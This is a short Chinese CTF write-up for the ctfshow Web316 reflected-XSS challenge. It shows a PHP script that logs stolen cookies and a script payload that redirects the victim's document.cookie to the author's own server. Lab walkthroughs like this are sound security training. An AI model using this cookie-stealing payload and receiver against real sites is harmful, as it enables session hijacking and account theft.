当前位置: 首页 > news >正文

ctfshow(316)--XSS漏洞--反射性XSS

Web316

进入界面:
在这里插入图片描述

审计

显示是关于反射性XSS的题目。

思路

首先想到利用XSS平台解题,看其他师傅的wp提示flag是在cookie中。
当前页面的cookie是flag=you%20are%20not%20admin%20no%20flag。
但是这里我使用XSS平台,显示的cookie还是这样,并不能得到flag。该方法先作罢。

于是我们使用稳定性更高的方法:写js代码将cookie传到自己的服务器上。
先在服务器写一个php文件:

//flag.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

然后在靶机中传入如下代码:

<script>location.href="http://[自己服务器的IP]/flag.php?cookie="+document.cookie</script>

提交之后成功跳转到自己的网页。
查看自己服务器中的cookie.txt文件,得到flag。

http://www.lryc.cn/news/479527.html

相关文章:

  • ubuntu22.04安装conda
  • D58【python 接口自动化学习】- python基础之异常
  • Java项目实战II基于Spring Boot的便利店信息管理系统(开发文档+数据库+源码)
  • Java-日期计算工具类DateCalculator
  • 单片机串口接收状态机STM32
  • ipv6的 fc00(FC00::/7) 和 fec0(FEC0::/10)
  • Chat GPT英文学术写作指令
  • 超详细Pycharm安装汉化教程,Python环境配置和使用指南,Python零基础入门看这个就够了!
  • react-native:解决使用webView后部分场景在安卓10崩溃闪退问题
  • 大数据工具 flume 的安装配置与使用 (详细版)
  • 智慧城市智慧城市项目方案-大数据平台建设技术方案(原件Word)
  • C语言比较两个字符串是否相同
  • 丹摩征文活动|FLUX.1图像生成模型:AI工程师的创新实践
  • ZABBIX API获取监控服务器OS层信息
  • SpringBoot基础系列学习(五):JdbcTemplate 访问数据库
  • JavaEE-多线程初阶(3)
  • 从入门到精通:如何在Vue项目中有效运用el-image-viewer
  • uniapp组件实现省市区三级联动选择
  • 【C++】异常处理机制(对运行时错误的处理)
  • C++ boost steady_timer使用介绍
  • JVM 由多个模块组成,每个模块负责特定的功能
  • ORACLE批量插入更新如何拆分大事务?
  • kafka+zookeeper的搭建
  • Spark中的宽窄依赖
  • 安装和运行开发微信小程序
  • 地图框架之mapbox——(五)
  • Hive 的数据类型
  • 2024下半年软考考后估分,快来预约!
  • 第8章 利用CSS制作导航菜单作业
  • 基于Spring Boot的船舶监造系统的设计与实现,LW+源码+讲解